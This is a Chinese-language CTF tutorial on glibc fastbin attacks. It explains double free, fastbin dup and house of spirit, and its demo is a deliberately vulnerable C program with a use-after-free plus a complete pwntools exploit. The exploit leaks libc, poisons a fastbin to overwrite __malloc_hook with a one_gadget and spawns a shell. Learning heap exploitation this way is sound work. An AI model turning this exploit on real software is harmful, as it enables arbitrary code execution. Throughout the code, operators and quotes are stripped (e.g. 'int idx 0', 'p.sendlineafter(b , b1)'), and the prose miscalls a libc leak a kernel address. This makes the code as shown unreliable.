fastbin attack入门:从glibc堆管理到UAF利用链实战
提到 fastbin attack很多刚开始接触堆利用的读者第一反应是又要学 malloc 源码、又要懂 bin 链还没开始就放弃了。但我一直认为fastbin attack 恰恰是堆利用里最值得先吃透的入门知识点它的核心不过是一条单向链表的插头、拔头操作。这篇文章我会从 glibc 堆管理器对 fastbin 的信任逻辑讲起把 double free、fastbin dup、house of spirit 这几条经典路线拆开再用一个带 UAF 漏洞的完整题目走一遍从泄露 libc 到拿到 shell 的利用链。无论你是刚开始学 pwn 的新手还是想系统补一下堆利用基础的老手这篇文章都适合照着边读边调。1. fastbin attack到底在攻击什么从glibc堆管理的基本盘说起1.1 fastbin在堆管理器里的“身份”glibc 的 malloc 为了减少系统调用、提高小块内存的分配效率引入了多级缓存机制。fastbin 就是其中最靠近用户层的一级专门管理尺寸比较小的 chunk。在 64 位环境下fastbin 覆盖的 chunk 实际大小通常是 0x20 到 0x80也就是我们调用malloc(0x10)到malloc(0x70)时最终分配出来的用户可用区间加上 chunk 头之后落入的这个范围。fastbin 的每个桶都是一个单向链表插入和取出都发生在链表头部也就是典型的 LIFO后进先出行为。当我们free一个 small chunk 时glibc 会把这块内存的fd字段指向当前 fastbin 的链表头然后把链表头更新为当前这块内存当我们再次malloc同样大小的内存时就直接把链表头那块内存拿出来返回给用户链表头更新为它的fd。整个过程不需要遍历链表不需要检查链表里的其它节点速度非常快。正是这种“完全相信链表头指针”的设计给 fastbin attack 提供了土壤。攻击者只要能控制某个 fastbin 链表头的fd字段就相当于控制了下一次malloc要返回的地址。1.2 为什么fastbin这么好骗两条关键规则第一次看堆利用的人往往会问glibc 不是有 double free 检测吗不是会校验 chunk 合法性吗为什么 fastbin attack 还能成立答案藏在两条关键规则里。第一条fastbin 的 double free 检查只检查链表头。在 glibc 2.23 版本中_int_free对 fastbin 的处理大致是if (old ! NULL old p) errstr double free or corruption (fasttop);也就是说它只判断当前要释放的 chunkp是不是已经是 fastbin 的链表头。如果链表头是另一个 chunk那么这次free就会放行。这就是经典的free(A); free(B); free(A);为什么能绕过检查的原因——第二次 free A 的时候链表头是 B不是 A检查不触发。第二条malloc 分配时只校验目标位置的 size 字段是否匹配当前的 fastbin 索引不会校验这个地址是不是真的属于堆也不会校验这个地址是否可写。_int_malloc在从 fastbin 取 chunk 时会对拿到的地址做一次chunksize_nomask校验但只要你伪造出一个合理的 size它就会把这块地址直接返回给用户。这也意味着我们可以让malloc返回任意可控地址。这两条规则合在一起就是 fastbin attack 的全部底层逻辑通过 double free 或 UAF 操纵链表头让链表头指向伪造的内存地址再通过 malloc 把这个假地址“分配”出来。1.3 用一个“火车车厢”的类比把链表机制刻进脑子我在给别人讲 fastbin 的时候喜欢把它比作一列火车车厢的挂接和摘取。你手里有一列车厢队列每次free就相当于在车头位置挂上一节新车厢每次malloc就相当于从车头位置摘下一节车厢。fastbin 只认车头不关心车厢后面还挂着什么。正常情况下这列车的每一节车厢都是系统分配好的。但 fastbin attack 干的事情就是偷偷把某一节车厢的“挂钩”也就是 fd 指针改到一根不属于这列火车的轨道上比如改到栈上、改到 libc 的某个全局变量附近。下一次malloc从车头摘车厢时摘到的就是我们指定的那块假地址随后我们就能往这个地址里写入任意数据。这个类比能帮你记住两件事第一攻击的本质是控制链表头第二你改写的永远是某个 chunk 的fd字段而这个字段就是链表中的“下一个节点指针”。2. 三种最常用的fastbin attack套路拆解2.1 double free让同一个堆块被领走两次double free 是整个 fastbin attack 的基础操作在堆利用里几乎绕不开。它要解决的问题是怎么让一个已经被释放的 chunk 再次出现在 fastbin 链表中从而让后续的 malloc 把同一块内存返回两次。标准的构造方式是先申请两个相同大小的 chunk记作 A 和 B然后依次free(A); free(B); free(A);。结合上一节的检查逻辑我们来盘一下链表的变化free(A)链表变成A - NULL链表头是 A。free(B)B 的 fd 指向 A链表变成B - A - NULL链表头是 B。free(A)此时链表头是 B不是 Adouble free 检查绕过。A 的 fd 被更新为 B链表变成A - B - A - B ...形成环。这个时候如果连续malloc三次会依次拿到 A、B、A也就是说 A 被分配了两次两个指针同时指向同一块内存。拿到两个指向同一块内存的指针之后就可以通过其中一个指针进行读写而这通常就会形成 UAFUse After Free或者任意地址读写的条件。最常见的应用是先 malloc 一次拿到 A立刻通过这个指针修改 A 的 fd 为攻击目标地址然后继续 malloc 两次第三次就会返回目标地址。2.2 fastbin dup让fd指向哪malloc就回到哪fastbin dup 是 double free 的进阶用法英文里也叫 fastbin dup into stack / arbitrary alloc。核心就一句话你往 fd 里写入什么地址下一次 malloc 就返回什么地址。有一个非常容易踩的坑是地址偏移问题。fastbin 链表里保存的指针是 chunk 头地址而 malloc 返回给用户的是 chunk 头往后的数据区地址两者在 64 位下相差 0x10 字节。所以如果你想让 malloc 返回一个target地址给用户你需要把 fd 改成target - 0x10这样 malloc 内部把 chunk 头当成内存块起始点返回给用户的是chunk 头 0x10正好落在 target 上。举一个例子。假设我们利用 double free 构造出 A 的 fd 可控接下来通过某个指针编辑 A把 A 的 fd 改写成target - 0x10。此时 fastbin 链表为A - (target-0x10) ...。第一次malloc返回 A同时链表头变成target-0x10。第二次malloc返回 target我们拿到了指向目标地址的“堆指针”。拿到这个指针之后能做什么就取决于 target 选在哪。最经典的选点是__malloc_hook附近因为改写__malloc_hook为 one_gadget 后下一次malloc就会触发system(/bin/sh)。除此之外也可以把 target 选在栈上、.bss段或者某个全局结构体上核心思路都是一样的。2.3 house of spirit在栈上无中生有如果说 double free 和 fastbin dup 是“改链表”那 house of spirit 就是“造链表”。它的思路是在某个非堆内存区域比如栈或全局变量伪造一个完全合法的 chunk然后把这个地址交给 free让它进入 fastbin最后再用 malloc 把它分配出来。伪造的关键是构造出合法的 chunk 头。在 64 位下chunk 头包含两个 8 字节字段prev_size和size。free 进入 fastbin 时glibc 会检查size是否落在 fastbin 范围内以及地址是否按 8 字节对齐。只要满足这两个条件它就会把这个“假 chunk”插入 fastbin 链表。一个典型的栈上伪造流程如下unsigned long long fake_chunk[4]; fake_chunk[0] 0; // prev_size fake_chunk[1] 0x60; // size必须落在 fastbin 范围内 free(fake_chunk); // 让 glibc 把这个地址当成 chunk 头 malloc(0x50); // 此时 malloc 返回的就是 fake_chunk这里要注意free(fake_chunk)中的fake_chunk会被当作 chunk 头地址它的size字段必须放在fake_chunk 8的位置。在真正的题目里house of spirit 通常用来把栈上的数据区域变成可控堆块然后进一步改写返回地址或者局部变量。它和 fastbin dup 的核心思想完全一致fastbin 信任你提供的地址只要是看起来合理的 chunk它就敢用。3. 从原理到实战一次fastbin attack的完整利用Demo3.1 搭一个带UAF漏洞的pwn题理论讲再多不如完整打一遍。这里我用一个特别常见的小程序模板功能是 add、delete、edit、show漏洞点就是 delete 之后没有把指针置空导致 UAF。这是堆题里的经典原型。#include stdio.h #include stdlib.h #include unistd.h void *ptr[16]; size_t sz[16]; void add() { int idx 0; while (idx 16 ptr[idx]) idx; if (idx 16) exit(0); printf(size: ); scanf(%lu, sz[idx]); ptr[idx] malloc(sz[idx]); } void del() { int idx; printf(idx: ); scanf(%d, idx); if (idx 0 || idx 16 || !ptr[idx]) exit(0); free(ptr[idx]); // 漏洞ptr[idx] 没有置空 } void edit() { int idx; printf(idx: ); scanf(%d, idx); if (idx 0 || idx 16 || !ptr[idx]) exit(0); printf(content: ); read(0, ptr[idx], sz[idx]); } void show() { int idx; printf(idx: ); scanf(%d, idx); if (idx 0 || idx 16 || !ptr[idx]) exit(0); write(1, ptr[idx], sz[idx]); } int main() { setbuf(stdout, NULL); int cmd; while (1) { printf(1.add 2.del 3.edit 4.show\n ); scanf(%d, cmd); if (cmd 1) add(); else if (cmd 2) del(); else if (cmd 3) edit(); else if (cmd 4) show(); else break; } return 0; }漏洞触发点很好找del()只调用了free(ptr[idx])没有把数组里的指针置空。所以释放之后我们依然可以通过edit和show读写这块已经被释放的内存。这个 UAF 条件足以支撑一次完整的 fastbin attack。3.2 利用链总览从泄露libc到改写__malloc_hook在 glibc 2.23 环境Ubuntu 16.04 默认版本下这次利用的目标是把__malloc_hook改成 one_gadget然后触发一次malloc拿 shell。整体利用链分成五步通过 unsorted bin 泄露 libc 基址。申请一个大小超过 fastbin 范围的 chunk比如malloc(0x80)实际 chunk size 为 0x90释放后它会进入 unsorted binfd 和 bk 指向main_arena88。由于存在 UAF我们直接show这个已释放的 chunk就能读出这个内核地址。申请两个 0x60 的 chunk构造free(A); free(B); free(A);让 fastbin 链表形成A - B - A - ...的环。申请一次返回 A通过编辑 A 把 A 的 fd 改写为__malloc_hook - 0x23。连续申请两次第二次返回__malloc_hook - 0x23利用这个指针覆盖__malloc_hook为 one_gadget。再次add触发mallocone_gadget 执行获得 shell。为什么攻击目标选__malloc_hook - 0x23而不是直接选__malloc_hook这是第 5 部分要细讲的 size 校验问题先记住结论这个地址附近刚好存在一个合法的伪 size0x7f能匹配 fastbin 的 0x70 桶。3.3 完整exp逐段讲解下面是完整 exp使用 pwntools 编写环境为 glibc 2.23。请注意libc 偏移在不同版本里会变注释里我会标注哪些需要按本地环境调整。from pwn import * context.arch amd64 context.log_level info p process(./pwn) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) def add(size): p.sendlineafter(b , b1) p.sendlineafter(bsize: , str(size).encode()) def delete(idx): p.sendlineafter(b , b2) p.sendlineafter(bidx: , str(idx).encode()) def edit(idx, data): p.sendlineafter(b , b3) p.sendlineafter(bidx: , str(idx).encode()) p.sendafter(bcontent: , data) def show(idx, size): p.sendlineafter(b , b4) p.sendlineafter(bidx: , str(idx).encode()) return p.recvn(size) # ---------- step 1: leak libc via unsorted bin ---------- add(0x80) # idx 0实际 chunk size 0x90进入 unsorted bin add(0x10) # idx 1隔离 top chunk防止 free 后合并 delete(0) data show(0, 0x80) unsorted_leak u64(data[:8]) log.info(funsorted bin leak: {hex(unsorted_leak)}) # 在 glibc 2.23 中unsorted bin 的 fd 指向 main_arena88 # 而 main_arena 一般位于 __malloc_hook 0x10 的位置。 # 实际偏移建议先用 gdb 确认这里用常见的 0x68 关系计算。 libc.address unsorted_leak - (libc.sym[__malloc_hook] 0x68) log.info(flibc base: {hex(libc.address)}) # ---------- step 2: build fastbin double free ring ---------- add(0x60) # idx 2chunk A实际 chunk size 0x70 add(0x60) # idx 3chunk B delete(2) delete(3) delete(2) # 形成 A - B - A - ... 环 # ---------- step 3: overwrite fd to __malloc_hook - 0x23 ---------- add(0x60) # idx 4返回 A fake_chunk libc.sym[__malloc_hook] - 0x23 edit(4, p64(fake_chunk)) # 把 A 的 fd 改成目标地址 # ---------- step 4: allocate target and patch __malloc_hook ---------- add(0x60) # idx 5返回 B add(0x60) # idx 6返回 fake_chunk one_gadget libc.address 0x4527a # 根据当前 libc 的 one_gadget 选择 # fake_chunk 的数据区从 fake_chunk0x10 开始 # 也就是 __malloc_hook - 0x13 的位置。填充 0x13 字节后覆盖 __malloc_hook。 payload ba * 0x13 p64(one_gadget) edit(6, payload) # ---------- step 5: trigger ---------- add(0x10) p.interactive()这段 exp 有几个地方需要特别说明。第一泄漏 libc 时show(0, 0x80)会输出 0x80 字节但我们只取前 8 字节就够了。前 8 字节是 fd指向main_arena88而 fd 的低 6 字节是 libc 内的偏移高位是0x7f所以u64(data[:8])可以直接解出地址。第二libc.address的偏移计算依赖具体 libc 版本。在上面的例子中我用的是unsorted_leak - (libc.sym[__malloc_hook] 0x68)这个公式在 glibc 2.23 的常见版本里成立。如果在你的环境里不对最简单的方法是在 gdb 里分别查看 unsorted leak 的值和 libc 基址算出差 值后写死。第三one_gadget的选择同样依赖具体 libc。你可以在本地用 one_gadget 工具打印出所有可用的 gadget如果0x4527a的约束条件不满足换一个即可。如果所有 one_gadget 在当前寄存器状态下都不满足通常要考虑用realloc_hook来做栈迁移调整这个属于进阶内容入门阶段先用简单的即可。第四fake_chunk写 fd 的时候实际写入位置是 A 被释放后的数据区也就是 A 的 fd 字段。为什么malloc第三次会返回fake_chunk因为 malloc 从 fastbin 取 chunk 时每次都会读取链表头的 fd 作为下一次的链表头。我们把 A 的 fd 改成 fake_chunk 后链表就变成了A - fake_chunk - ...第三次 malloc 自然就取到了 fake_chunk。3.4 在gdb里盯着fastbin链表的变化我强烈建议你在跑 exp 的时候同时用 pwndbg 观察 fastbin 链表的变化这比看任何文章都直观。下面是我常用的调试姿势。程序启动后先用 pwndbg 运行在free、malloc和edit这三个函数上下断点。每次执行完关键操作用heap bins fastbin查看当前 fastbin 链表状态。在构造完delete(2); delete(3); delete(2);之后heap bins fastbin的输出大概是这样的pwndbg heap bins fastbin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x555555559750 - 0x555555559710 - 0x555555559750 (overlap!)看到(overlap!)这个标记就说明 fastbin 链表已经形成环double free 成功。改写 A 的 fd 之后再执行heap bins fastbin链表头会变成0x555555559750 - 0x7ffff7dd1b5d这样后面的地址不再是堆内地址而是我们写入的 fake_chunk。到这一步整个 fastbin attack 的链路已经打通剩下的就是着手写 payload 了。另外pwndbg 还提供一个非常好用的命令find_fake_fast __malloc_hook。它会在__malloc_hook附近自动搜索可作为伪 size 的地址并提示你应该把 fake_chunk 选在哪里。在 glibc 2.23 下它通常能找到__malloc_hook - 0x23这个位置也就是0x7f这个 size 的所在处。这个命令能节省大量手工查找的时间。4. 版本更迭对fastbin attack的影响从2.23到2.354.1 glibc 2.23-2.26不怎么设防的“黄金年代”glibc 2.23 可以说是我眼里最适合入门堆利用的版本。这个阶段 fastbin 的 double free 检测只有“是否等于链表头”这一条malloc 对返回地址的校验也相对宽松只要伪造一个合理的 size 就能通过。再加上__malloc_hook这个“万能后门”还完整存在攻击面非常清晰。很多经典堆题的默认环境就是 Ubuntu 16.04 的 glibc 2.23比如 0ctf 2017 的 babyheap、HITCON 的 hacksyst 等。现在网上大部分 fastbin attack 的 writeup 也都是在这个版本下写出来的。所以在学习阶段建议优先在 2.23 环境下练习这样你能把注意力完全集中在“链表是怎么被操控的”这件事上而不会被复杂的安全机制干扰。4.2 tcache让攻击更容易也让攻击更多样glibc 2.26 引入 tcachethread local cache之后堆利用的生态发生了很大变化。tcache 本质上也是 LIFO 的单链表但它起初几乎没有安全检查没有 double free 检测没有地址合法性校验。这导致 tcache poisoning 比 fastbin attack 更简单粗暴——你只需要free一个 chunk 两次然后修改它的 fd就能让连续两次malloc返回任意地址。举个例子在 glibc 2.27Ubuntu 18.04 默认下利用同样大小的两个 chunkfree(0) free(0) # tcache 不检查 double free edit(0, p64(target - 0x10)) alloc(0x10) # 第一次 malloc 返回 chunk0 本身 alloc(0x10) # 第二次 malloc 返回 target和 fastbin 相比这个流程少了很多绕圈操作fd 只需要指向目标地址不再需要精心构造A-B-A的环去绕过检测。因此在 2.27 环境下大多数题目的正规解法都会优先考虑 tcache poisoning而不是 fastbin attack。但 tcache 的出现没有让 fastbin attack 失去意义。一方面2.29 之后 tcache 加入了 key 字段来检测 double free直接free两次会被拦下来很多攻击者又开始回归 fastbin 的绕过思路另一方面fastbin attack 涉及的链表操作、size 伪造、偏移计算是学习更新奇技巧的基石。理解 fastbin再去理解 tcache、unsorted bin、large bin 的各种攻击会发现它们的内核逻辑高度相似无非是“哪个链表可以被污染、检查什么字段、怎么伪造才能骗过去”。4.3 safe-linking之后fastbin attack还灵不灵glibc 2.32 引入了 safe-linking 机制对 fastbin、tcache 等所有单链表 bin 的 fd 指针做了编码保护。编码规则是encoded_fd fd ^ (pos 12)pos是当前 chunk 的地址。也就是说fd 字段里存的不是真实的链表节点地址而是真实地址和当前 chunk 地址右移 12 位后的异或结果。攻击者如果不知道堆地址就无法伪造出合法的 fd直接修改 fd 会导致 malloc 崩溃。这确实大幅提高了 fastbin attack 的门槛但并没有让这类技术完全失效。现代版本的利用链通常需要先通过某种方式泄露堆地址然后在写入 fd 之前计算出正确的编码值。同时glibc 2.35 之后的版本把__malloc_hook、__free_hook等符号从 libc 里移除了传统“改 hook 拿 shell”的打法也跟着失效大家转向了 IO_FILE 结构体、setcontext 等更复杂的利用面。对刚入门的读者我的建议是不要被这些新机制吓到。你只需要把 fastbin attack 在旧版本里的原理吃透然后在看新版本题目、遇到 safe-linking 时多补一个“泄露堆地址并编码 fd”的意识就够了。技术是层层递进的地基不牢后面会更吃力。5. 实战中最容易卡的三个环节与对应的调试姿势5.1 目标地址的size校验0x7f为什么能当0x70用实战里第一次跑 exp 失败大概率卡在同一个地方malloc 从 fastbin 取我们伪造的 chunk 时校验 size 不通过直接报malloc(): memory corruption (fast)。我来拆一下这个校验的细节。在_int_malloc的 fastbin 分支里大致逻辑是if (__builtin_expect(offset2size(idx) ! chunksize_nomask(victim), 0)) malloc_printerr(malloc(): memory corruption (fast));chunksize_nomask(victim)拿到的是victim-size ~0x0F也就是去掉低 4 个标志位后的值。如果我们要攻击的 fastbin 是 0x70 这个桶那么目标地址处读出来的 size 去掉低 4 位后必须等于 0x70。所以问题变成了在__malloc_hook附近找一个内存位置让它的 8 字节值经过size ~0x0F之后等于 0x70。glibc 2.23 里的经典解法是选__malloc_hook - 0x23因为这个地址附近的字节排列中某个 8 字节里的低位部分是0x7f。0x7f ~0x0F等于0x70正好匹配 fastbin 的 0x70 桶。这就是为什么我们要把 fd 写成__malloc_hook - 0x23而不是直接写成__malloc_hook。如果你想让 fastbin 返回任意地址一定要先去目标地址附近寻找可用的伪 size而不是随便选一个位置硬怼。pwndbg 的find_fake_fast命令就是用来做这件事的。5.2 调试利用链的gdb命令组合除了前面提到的heap bins fastbin和find_fake_fast我再分享几个实战中高频使用的 gdb 命令组合都是我用顺手的。x/20gx __malloc_hook查看__malloc_hook附近的内存布局确认 one_gadget 是否成功写入。b *malloc配合c在 malloc 处下断点观察触发__malloc_hook之前程序是否还会调用其它分配逻辑。set disable-randomization on很多人本地调试时忘记关 ASLR导致每次断点看到的堆地址、libc 地址都在变不利于反复练习。在 gdb 里开启这个选项能让地址固定下来定位问题会容易很多。heap chunks列出当前所有堆块及状态快速判断某个 chunk 是在 fastbin 里还是已经被其它桶接管。跑 exp 的时候我不建议全程context.log_level debug那样输出太杂。我的习惯是先用默认级别把 exp 跑通如果中途崩溃再把 log 级别调到 debug或者在崩溃点附近加gdb.attach(p)进入 gdb 去看具体哪个字段不对。5.3 我踩过的几个典型坑第一个坑把 double free 的顺序搞错。free(A); free(B); free(A);和free(A); free(A);完全不一样前者能绕过检测后者直接触发double free or corruption (fasttop)。如果程序给的是 UAF你可以自由选择释放顺序但如果是只能释放一次的题目就得考虑其它方式构造 dup。第二个坑修改 fd 之后链表状态并不总是如你预期。fastbin 的链表头在每次 malloc 之后都会更新如果你在构造 dup 之后多执行了一次无关的 malloc链表头可能被消耗掉后面的分配就落在错误的位置。所以 exp 里对 malloc 次数的规划要精确每一步都不要多余。第三个坑one_gadget 约束条件不满足。这是新手最容易困惑的地方。one_gadget 执行是有前置条件的比如某个寄存器要为 NULL、栈上某个偏移处要为 NULL。如果条件不满足程序直接报错或者崩溃。遇到这种情况可以换一个 one_gadget 尝试如果都不行就要考虑用realloc_hook调整栈帧。不过入门阶段建议优先选择约束条件最宽松的 one_gadget 并固定好 libc 版本。第四个坑本地能打通、远程打不动。通常是 libc 版本不一致导致的偏移差异尤其是__malloc_hook 0x68这个相对偏移和 one_gadget 的偏移值。做题之前先用libc-database或LibcSearcher确认远程的 libc 版本再计算偏移能省去大量无效调试时间。6. 从fastbin attack走出去必经的进阶路线与练习清单6.1 用how2heap和经典题目打底如果你把前面的 exp 完整调通了身份就已经从“看过原理”进阶到“动手打过一次”。接下来要做的是把类似的知识点固化下来形成肌肉记忆。我推荐的学习路径是这样的第一过一遍 how2heap 里和 fastbin 相关的章节包括fastbin_dup、fastbin_dup_into_stack、fastbin_dup_consolidate、house_of_spirit。这些代码仓库里的例子虽然看起来简单但每一个都对应一类真实题目的核心逻辑。建议不要只看而是手动编译、运行、打断点观察链表变化。第二刷几道经典入门题。0ctf 2017 babyheap 是绕不开的必刷题它综合了 fastbin attack 和 unsorted bin 泄露完整打一遍几乎能把堆利用的基础技能全部覆盖。Hacknote 是另一个优质入门题虽然偏 UAF但能帮你建立“漏洞点不是 malloc/free 本身而是程序逻辑边界”的思维。6.2 往后的知识地图怎么画打完 fastbin attack接下来通常按这个顺序逐步深入tcache poisoning、unsorted bin attack、large bin attack、House of 系列House of orange、House of lore 等、IO_FILE 利用、setcontext 劫持。你会发现它们处理的对象不同但思考方式高度一致先看这个 bin 在 malloc/free 的哪个环节做了什么再看哪个字段是我们可控的最后思考怎么利用这个可控字段影响控制流或内存布局。等到你能在一道没有 given 的题目里自己识别出“这里存在 UAF可以构造 fastbin dup”并且能算出伪造 size 的位置就说明你已经迈过了堆利用入门最重要的那道坎。后面的路虽然越来越难但地基已经打牢了。最后分享一个我自己的体会学堆利用不要死记硬背 exp重点是要能在 gdb 里看到每个操作对链表和内存的真实影响。fastbin attack 之所以适合入门就是因为它足够直观、反馈足够快。你在 gdb 里盯着 fastbin 链表头一点点变化的过程其实比看十篇文档都管用。